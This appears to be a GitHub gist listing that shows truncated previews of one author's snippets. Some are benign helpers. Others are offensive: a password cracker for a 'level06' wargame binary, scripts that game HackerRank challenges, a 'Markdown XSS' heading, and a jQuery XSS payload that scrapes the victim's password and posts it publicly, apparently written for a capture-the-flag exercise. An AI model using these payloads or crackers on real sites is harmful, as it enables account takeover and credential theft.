This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function consoleLog ( $d ){ | |
| if(is_array($d)) $d = json_encode($d); | |
| echo "<script> console.log('". $d . "'); </script>"; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import sys | |
| import subprocess | |
| from operator import itemgetter | |
| import time | |
| dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' # a-zA-Z0-9 | |
| cmd = './level06' # replace this with the path to level06 executable | |
| pwd = './.password' # replace this with the path to the .password file you want to crack |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // Usage: | |
| // | |
| // var test = encode_string('foobar'); | |
| // console.log( test ); // prints: 1021111119897114 | |
| // | |
| var encode_string = function(str){ | |
| var result = ''; | |
| str.split('').forEach(function(c){ result += c.charCodeAt(c); }); | |
| return result; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $('#myCoolForm').submit(function(e){ | |
| e.preventDefault(); // ensures we don't actually submit the form like normal | |
| var url = $(this).attr('action'); // grabs the html form action attribute, eg our post url | |
| var data = $(this).serialize(); // this will take all the form elements and serialize them into a querystring to be posted | |
| $.post( url, data, function(data, textStatus){ | |
| // do something cool here | |
| console.log(data); | |
| }); | |
| }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // HackerRank.com PWN4GE | |
| // by MediaUpstream // Derek Anderson | |
| // | |
| // 1. Register yourself an acct on HackerRank.com | |
| // 2. Paste this into the JavaScript console | |
| // 3. Pwn the game | |
| // 4. Go walk your cat. | |
| // | |
| var HackerRankPwn = function(){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // HackerRank.com Challenge #2 (SpaceX Challenge) | |
| // @hacker mediaupstream, aka Derek Anderson | |
| // | |
| // How to Win: | |
| // 1. Install required npm packages: `npm install request sugar` | |
| // 2. Modify the `username` and `password` variables below to match what you used to signup on | |
| // hackerrank.com with | |
| // 3. Run the script: `$ node hackerchallenge2-spacex.js` | |
| // 4. Wait for about 40 minutes... |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require('./index.js')(); | |
| module.exports = function(){ | |
| console.log('foo.js', Date.now() ); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $.get(window.location.href + 'user_info', function(resp, a){ | |
| var dom = $(resp); | |
| var password = $('table tr:eq(1) td', dom).text(); | |
| var msg = 'My password is: '+ escape(password); | |
| $('#content').val( msg ); | |
| $('#title').val('Hacked'); | |
| $('#new_post').submit(); | |
| }); | |
| // Now we can turn the above into numbers, and this becomes our username: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var request = require('request'), | |
| http = require('http'); | |
| require('sugar'); | |
| var Cracker = function(){ | |
| this.chunk = 0; | |
| this.chunks = []; | |
| this.password = '000000000000'; | |
| this.chunkPass = 0; | |
| this.prevPort = null; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Markdown XSS | |
| ) |